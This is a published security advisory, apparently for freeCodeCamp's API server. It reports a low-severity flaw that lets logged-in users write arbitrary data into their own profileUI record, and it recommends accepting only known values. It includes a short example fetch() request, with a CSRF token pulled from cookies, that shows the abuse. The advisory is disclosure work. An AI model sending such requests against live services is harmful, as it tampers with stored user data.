Skip to content

ProfileUI User Document Abuse

Low
raisedadead published GHSA-f69g-q6v2-rhjp Oct 31, 2023

Package

api-server (api-server)

Affected versions

staging, production

Patched versions

staging, production

Description

Impact

Users with session tokens can make a request to add anything to the profileUI field of their user record in the db.

Patches

Requires patch in API:

function updateMyProfileUI(req, res, next) {

Patch should accept only known values for the update.

Workarounds

None.

Example Attack

fetch('https://api.freecodecamp.dev/update-my-profileui', {
  method:"PUT", credentials: "include",
  headers: {
    "Content-Type": "application/json", "CSRF-TOKEN": document.cookie.split(';').find(c => c.trim().startsWith('csrf_token')).split('=')[1]
  },
  body: JSON.stringify({profileUI: {anythingYouWant: 1})
}).catch(e => console.error(e));

Severity

Low
3.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:L

CVE ID

No known CVE

Weaknesses

Credits